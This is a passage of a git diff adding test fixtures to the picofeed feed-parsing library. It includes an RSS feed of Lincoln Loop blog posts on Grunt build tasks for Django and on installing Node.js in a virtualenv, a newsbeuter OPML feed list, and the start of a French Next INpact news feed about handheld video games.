+ &lt;span class="nx"&gt;grunt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;loadNpmTasks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;grunt-sass&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
+ &lt;span class="nx"&gt;grunt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;loadNpmTasks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;grunt-contrib-less&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
+ &lt;span class="nx"&gt;grunt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;loadNpmTasks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;grunt-contrib-watch&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
+
+ &lt;span class="c1"&gt;// Register tasks here.&lt;/span&gt;
+ &lt;span class="nx"&gt;grunt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;registerTask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;default&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[]);&lt;/span&gt;
+
+&lt;span class="p"&gt;};&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;h3&gt;Combining static media&lt;/h3&gt;
+
+&lt;p&gt;A common task for the frontend, and one that we often use complex apps for in Django, is combining and minifying static media. This can all be handled by Grunt if you like, avoiding difficulties sometimes encountered when using an integrated Django app.&lt;/p&gt;
+
+&lt;p&gt;To combine files, use the &lt;a href="https://github.com/gruntjs/grunt-contrib-concat"&gt;concat plugin&lt;/a&gt;. Add some configuration to the &amp;quot;grunt.initConfig&amp;quot; call, using the name of the task as the key for the configuration data:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="javascript"&gt;&lt;span class="nx"&gt;grunt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;initConfig&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
+ &lt;span class="nx"&gt;pkg&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;grunt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;readJSON&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;package.json&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
+
+ &lt;span class="c1"&gt;// Task configuration goes here.&lt;/span&gt;
+
+ &lt;span class="nx"&gt;concat&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;myproject/static/js/app/**/*.js&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
+ &lt;span class="nx"&gt;dest&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;build/static/js/app.js&amp;#39;&lt;/span&gt;
+ &lt;span class="p"&gt;},&lt;/span&gt;
+ &lt;span class="nx"&gt;vendor&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;myproject/static/js/vendor/**/*.js&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
+ &lt;span class="nx"&gt;dest&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;build/static/js/lib.js&amp;#39;&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;
+ &lt;span class="p"&gt;});&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;This will combine all Javascript files under &amp;quot;myproject/static/app/js&amp;quot; into one file called &amp;quot;myproject/build/static/js/app.js&amp;quot;. It will also combine all Javascript files under &amp;quot;myproject/static/vendor&amp;quot; into one file called &amp;quot;myproject/build/static/js/lib.js&amp;quot;. You&amp;#39;ll likely want to refine this quite a bit to pick up only the files you want, and possibly build different bundles for different sections of your site. This will also work for CSS or any other type of file, though you may be using a preprocessor to combine your CSS and won&amp;#39;t need this.&lt;/p&gt;
+
+&lt;p&gt;You&amp;#39;ll probably want to use this along with the &amp;quot;watch&amp;quot; plugin for local development, but you&amp;#39;ll use the &amp;quot;uglify&amp;quot; plugin for deployment.&lt;/p&gt;
+
+&lt;h3&gt;Minifying static media&lt;/h3&gt;
+
+&lt;p&gt;Once your app is ready for production, you can use Grunt to minify the JavaScript with the &lt;a href="https://github.com/gruntjs/grunt-contrib-uglify"&gt;uglify plugin&lt;/a&gt;. As with concatenation, minification of your CSS will likely be handled by your preprocessor.&lt;/p&gt;
+
+&lt;p&gt;This task should be run as part of your deploy process, or part of a pre-deploy build process. The uglify config will probably be very similar to your concat config:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="javascript"&gt;&lt;span class="nx"&gt;uglify&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;files&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;build/static/js/app.min.js&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;myproject/static/js/app/**/*.js&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
+ &lt;span class="p"&gt;},&lt;/span&gt;
+ &lt;span class="nx"&gt;vendor&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;files&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;build/static/js/lib.min.js&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;myproject/static/js/vendor/**/*.js&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;The main difference is that uglify takes the new-style &amp;quot;files&amp;quot; option instead of the classic &amp;quot;src&amp;quot; and &amp;quot;dest&amp;quot; options that concat uses.&lt;/p&gt;
+
+&lt;h3&gt;Compiling Sass&lt;/h3&gt;
+
+&lt;p&gt;You can compile Sass with Compass using the &lt;a href="https://github.com/gruntjs/grunt-contrib-compass"&gt;compass plugin&lt;/a&gt;, but I prefer to use the speedier &lt;a href="https://github.com/sindresorhus/grunt-sass"&gt;sass plugin&lt;/a&gt; that uses &lt;a href="https://github.com/hcatlin/libsass"&gt;libsass&lt;/a&gt;. Here&amp;#39;s an example that includes the Foundation library:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="javascript"&gt;&lt;span class="nx"&gt;sass&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;includePaths&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;bower_components/foundation/scss&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
+ &lt;span class="p"&gt;},&lt;/span&gt;
+ &lt;span class="nx"&gt;files&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="s1"&gt;&amp;#39;build/static/css/screen.css&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;myproject/static/scss/screen.scss&amp;#39;&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;
+ &lt;span class="p"&gt;},&lt;/span&gt;
+ &lt;span class="nx"&gt;deploy&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;includePaths&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;bower_components/foundation/scss&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
+ &lt;span class="nx"&gt;outputStyle&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;compressed&amp;#39;&lt;/span&gt;
+ &lt;span class="p"&gt;},&lt;/span&gt;
+ &lt;span class="nx"&gt;files&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="s1"&gt;&amp;#39;build/static/css/screen.min.css&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;myproject/static/scss/screen.scss&amp;#39;&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;
+ &lt;span class="p"&gt;},&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;h3&gt;Compiling Less&lt;/h3&gt;
+
+&lt;p&gt;Less is compiled using the &lt;a href=""&gt;less plugin&lt;/a&gt;.&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="javascript"&gt;&lt;span class="nx"&gt;less&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;paths&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;myproject/static/less&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
+ &lt;span class="p"&gt;},&lt;/span&gt;
+ &lt;span class="nx"&gt;files&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="s1"&gt;&amp;#39;build/static/css/screen.css&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;myproject/static/less/screen.less&amp;#39;&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;
+ &lt;span class="nx"&gt;deploy&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;paths&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;myproject/static/less&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
+ &lt;span class="nx"&gt;compress&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
+ &lt;span class="p"&gt;},&lt;/span&gt;
+ &lt;span class="nx"&gt;files&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="s1"&gt;&amp;#39;build/static/css/screen.min.css&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;myproject/static/less/screen.less&amp;#39;&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;
+ &lt;span class="p"&gt;},&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;h3&gt;Watching for changes and live reloading&lt;/h3&gt;
+
+&lt;p&gt;Now that you&amp;#39;ve got your initial operations configured, you can use the &lt;a href="https://github.com/gruntjs/grunt-contrib-watch"&gt;watch plugin&lt;/a&gt; to watch for changes and keep the files up to date. It also will send livereload signals, which you can use to automatically refresh your browser window.&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="javascript"&gt;&lt;span class="nx"&gt;watch&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;livereload&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
+ &lt;span class="nx"&gt;javascript&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;files&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;myproject/static/js/app/**/*.js&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
+ &lt;span class="nx"&gt;tasks&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;concat&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
+ &lt;span class="p"&gt;},&lt;/span&gt;
+ &lt;span class="nx"&gt;sass&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;files&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;myproject/static/scss/**/*.scss&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
+ &lt;span class="nx"&gt;tasks&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;sass:dev&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;Note the way the task is specified in the &amp;quot;sass&amp;quot; watch config. Calling &amp;quot;sass:dev&amp;quot; instructs it to use the &amp;quot;dev&amp;quot; config block from the &amp;quot;sass&amp;quot; task. Using &amp;quot;sass&amp;quot; by itself as the name of the task would have invoked both &amp;quot;sass:dev&amp;quot; and &amp;quot;sass:deploy&amp;quot; from our configuration above.&lt;/p&gt;
+
+&lt;p&gt;Also note how we&amp;#39;re using a top-level &amp;quot;options&amp;quot; definition here to make livereload the default. You can then override that for an individual watch definition if you don&amp;#39;t need livereload for that one.&lt;/p&gt;
+
+&lt;p&gt;In order for the browser to make use of the livereload signals, we&amp;#39;ll need to add a &amp;lt;script&amp;gt; tag that retrieves code from the livereload server that Grunt starts in the background. In Django, you&amp;#39;ll want to hide this tag behind a DEBUG check.&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;{% if debug %}
+ &amp;lt;script src=&amp;quot;//localhost:35729/livereload.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
+{% endif %}&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;You can also use a &lt;a href="http://feedback.livereload.com/knowledgebase/articles/86242-how-do-i-install-and-use-the-browser-extensions-"&gt;LiveReload browser extension&lt;/a&gt; instead.&lt;/p&gt;
+
+&lt;h3&gt;More to come&lt;/h3&gt;
+
+&lt;p&gt;Grunt is a fantastic tool and one that makes it easier to work with the growing set of frontend tools that are emerging. There&amp;#39;s a vibrant plugin ecosystem, and its capabilities are growing all the time. I&amp;#39;ll be covering more of those tools in the future, and I&amp;#39;ll be sure to include Grunt configuration for each one. Enjoy!&lt;/p&gt;
+</description><pubDate>Mon, 27 Jan 2014 14:43:42 -0600</pubDate><guid>http://lincolnloop.com/blog/simplifying-your-django-frontend-tasks-grunt/</guid></item><item><title>Installing Node.js and npm into a Python Virtualenv</title><link>http://lincolnloop.com/blog/installing-nodejs-and-npm-python-virtualenv/</link><description>
+&lt;p&gt;&lt;strong&gt;Please update to our new feed url: &lt;a href="http://lincolnloop.com/blog/feed/"&gt;lincolnloop.com/blog/feed/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
+&lt;hr/&gt;
+&lt;p&gt;With things like &lt;a href="http://lesscss.org/"&gt;LESS&lt;/a&gt; and &lt;a href="http://requirejs.org/"&gt;RequireJS&lt;/a&gt;, we&amp;#39;re starting to use Node.js&amp;#39;s &lt;code data-syntax="text-only"&gt;npm&lt;/code&gt; (think &lt;code data-syntax="text-only"&gt;pip&lt;/code&gt; for JavaScript) on every other project. However, installing Node.js globally means some dependencies are also installed globally, which might be a problem if different projects use different versions of the same packages. One solution is to install Node.js/npm inside your virtualenv, so here are the steps to get there:&lt;/p&gt;
+
+&lt;p&gt;First off, activate your virtualenv, and:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="bash"&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl http://nodejs.org/dist/node-latest.tar.gz | tar xvz
+&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;node-v*
+&lt;span class="nv"&gt;$ &lt;/span&gt;./configure --prefix&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$VIRTUAL_ENV&lt;/span&gt;
+&lt;span class="nv"&gt;$ &lt;/span&gt;make install&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;That&amp;#39;s it! Now you can install npm packages directly to your virtualenv path with &lt;code data-syntax="text-only"&gt;npm install -g {package}&lt;/code&gt;.&lt;/p&gt;
+</description><pubDate>Thu, 08 Aug 2013 10:45:01 -0500</pubDate><guid>http://lincolnloop.com/blog/installing-nodejs-and-npm-python-virtualenv/</guid></item></channel></rss> \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/fixtures/newsbeuter.opml b/vendor/fguillot/picofeed/tests/fixtures/newsbeuter.opml
new file mode 100644
index 000000000..9c567673d
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/newsbeuter.opml
@@ -0,0 +1,43 @@
+<?xml version="1.0"?>
+<opml version="1.0">
+ <head>
+ <title>newsbeuter - Exported Feeds</title>
+ </head>
+ <body>
+ <outline type="rss" xmlUrl="http://freecabinporn.com/rss" htmlUrl="http://cabinporn.com/" title="Cabin Porn"/>
+ <outline type="rss" xmlUrl="http://code.flickr.net/feed/" htmlUrl="http://code.flickr.net" title="code.flickr.com"/>
+ <outline type="rss" xmlUrl="http://www.la-grange.net/feed.atom" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="https://larlet.fr/david/log/" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://www.geek-directeur-technique.com/feed/" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://www.hteumeuleu.fr/feed/" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://news.humancoders.com/items/feed.rss" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://feeds.igvita.com/igvita" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://www.joelonsoftware.com/rss.xml" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://korben.info/feed" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://www.lebardegandi.net/feed/rss2" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://www.lemonde.fr/rss/une.xml" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://petitcodeur.fr/feed.xml" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://lesjoiesdusysadmin.tumblr.com/rss" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://lesjoiesducode.tumblr.com/rss" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://linuxfr.org/news.atom" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="https://lobste.rs/rss" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://feeds2.feedburner.com/Amterdam" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://code.mixpanel.com/feed/" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://onethingwell.org/rss" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://openweb.eu.org/?page=backend" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://www.planet-php.org/atom/" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://sametmax.com/feed/" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://feeds.feedburner.com/shoeboxdwelling/PzFM" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://feeds.feedburner.com/37signals/beMH" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://sorcery.smugmug.com/feed/" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://standblog.org/blog/feed/atom" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://feeds.feedburner.com/joelis" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://feeds.feedburner.com/StudioFellowBlog" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://feeds.feedburner.com/unicornfree" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://feeds.feedburner.com/webmarketingjunkie" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://xkcd.com/atom.xml" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://feeds.feedburner.com/zenhabits" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://codeascraft.etsy.com/feed/" htmlUrl="" title=""/>
+ <outline type="rss" xmlUrl="http://feeds.feedburner.com/blogspot/smartbear" htmlUrl="" title=""/>
+ </body>
+</opml>
diff --git a/vendor/fguillot/picofeed/tests/fixtures/next_inpact_full.xml b/vendor/fguillot/picofeed/tests/fixtures/next_inpact_full.xml
new file mode 100644
index 000000000..ca1861cdb
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/next_inpact_full.xml
@@ -0,0 +1,2435 @@
+<rss version="2.0"><channel><title>Next INpact</title><link>http://www.nextinpact.com/</link><description>Actualités Informatique</description><lastBuildDate>Thu, 15 May 2014 02:11:21 Z</lastBuildDate><item><guid isPermaLink="false">http://www.nextinpact.com/news/87545-le-recap-tests-si-votre-console-portable-sennuie-voila-quoi-occuper.htm</guid><link>http://www.nextinpact.com/news/87545-le-recap-tests-si-votre-console-portable-sennuie-voila-quoi-occuper.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>kevin@nextinpact.com</author><category>Jeux video</category><title>Le récap' des tests : si votre console portable s'ennuie, voilà de quoi l'occuper</title><description>&lt;p class="actu_chapeau"&gt;Aujourd'hui, le r&amp;eacute;capitulatif des tests s'int&amp;eacute;resse aux sorties vid&amp;eacute;oludiques du moment. L'&amp;eacute;t&amp;eacute; approchant d&amp;eacute;j&amp;agrave; &amp;agrave; grands pas, les &amp;eacute;diteurs semblent mettre quelque peu l'accent sur les consoles portables, avec plus ou moins de succ&amp;egrave;s, mais cela, nos confr&amp;egrave;res vous en parleront mieux que nous.&lt;/p&gt;&lt;p&gt;Avec les beaux jours qui reviennent, l'occasion est id&amp;eacute;ale de ressortir sa console portable du placard histoire d'aller faire une petite partie &amp;agrave; l'ombre d'un arbre. Si votre ludoth&amp;egrave;que ne vous inspire pas vraiment et que vous cherchez un peu de nouveaut&amp;eacute;, sachez que nos confr&amp;egrave;res ont pass&amp;eacute; en revue quelques titres r&amp;eacute;cemment sortis.&lt;/p&gt;
+&lt;h3&gt;Nintendo Pocket Football Club : un Football Manager cartoonesque sur 3DS&lt;/h3&gt;
+&lt;p&gt;Si vous &amp;ecirc;tes amateurs de ballon rond et que Football Manager vous semble bien trop compliqu&amp;eacute;, sachez que Nintendo a r&amp;eacute;cemment lanc&amp;eacute;&lt;em&gt; Nintendo Pocket Football Club&lt;/em&gt;, un jeu de gestion footballistique sur 3DS qui tombe &amp;agrave; point nomm&amp;eacute; pour la coupe du monde. Disponible au tarif de 14,99 euros sur l'e-shop de la console, il ne s'agit pas d'un mod&amp;egrave;le de r&amp;eacute;alisme, mais ce n'est pas vraiment ce qu'on lui demande.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Comme l'expliquent si bien nos confr&amp;egrave;res de Gamekult qui l'ont test&amp;eacute; &amp;nbsp;&lt;em&gt;&amp;laquo; Nintendo Pocket Football Club&amp;nbsp;est au jeu de gestion footballistique ce que le Tamagotchi est &amp;agrave; la paternit&amp;eacute; &amp;raquo;. &lt;/em&gt;Pas de licence officielle, des statistiques &amp;agrave; bases de lettres (S, A, B, C etc.) pour les joueurs, rien que des graphismes typ&amp;eacute;s 16 bits et un gameplay qui semble plut&amp;ocirc;t accrocheur. Faut-il laisser sa chance &amp;agrave; ce petit jeu sans grandes pr&amp;eacute;tentions ? C'est &amp;agrave; voir tout de suite :&amp;nbsp;&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;&lt;a href="http://www.gamekult.com/jeux/test-nintendo-pocket-football-club-J112222t.html#3ds" target="_blank"&gt;Lire l'article.&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146772.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-146772.png" alt="Nintendo Football Club" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h3&gt;Kirby Triple Deluxe : une adorable petite boule rose&lt;/h3&gt;
+&lt;p&gt;Toujours sur Nintendo 3DS, nos confr&amp;egrave;res de Jeuxvideo.com ont quant &amp;agrave; eux jet&amp;eacute; leur d&amp;eacute;volu sur &lt;em&gt;Kirby Triple Deluxe&lt;/em&gt;, un jeu de plateformes tr&amp;egrave;s color&amp;eacute;, dont la sortie est attendue le 16 mai prochain, c'est-&amp;agrave;-dire demain. Dans ce nouvel opus, Kirby d&amp;eacute;couvre que sa maison a &amp;eacute;t&amp;eacute; emport&amp;eacute;e par une tige g&amp;eacute;ante (!) et d&amp;eacute;cide d'y grimper afin d'investir la forteresse du vilain Taranza.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour ce faire, Kirby devra parcourir tout un tas de niveaux aux d&amp;eacute;cors vari&amp;eacute;s, dans lesquels il sera important de pr&amp;ecirc;ter attention aux perspectives. De nombreux &amp;eacute;l&amp;eacute;ments et obstacles se cachent dans la profondeur de l'&amp;eacute;cran et il faudra faire preuve d'adresse pour traverser tout cela sans encombre. Qu'en ont pens&amp;eacute; nos confr&amp;egrave;res ? C'est &amp;agrave; lire juste ici :&amp;nbsp;&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;&lt;a href="http://www.jeuxvideo.com/articles/0001/00019590-kirby-triple-deluxe-test.htm#infos" target="_blank"&gt;Lire l'article.&lt;/a&gt;&lt;/li&gt;
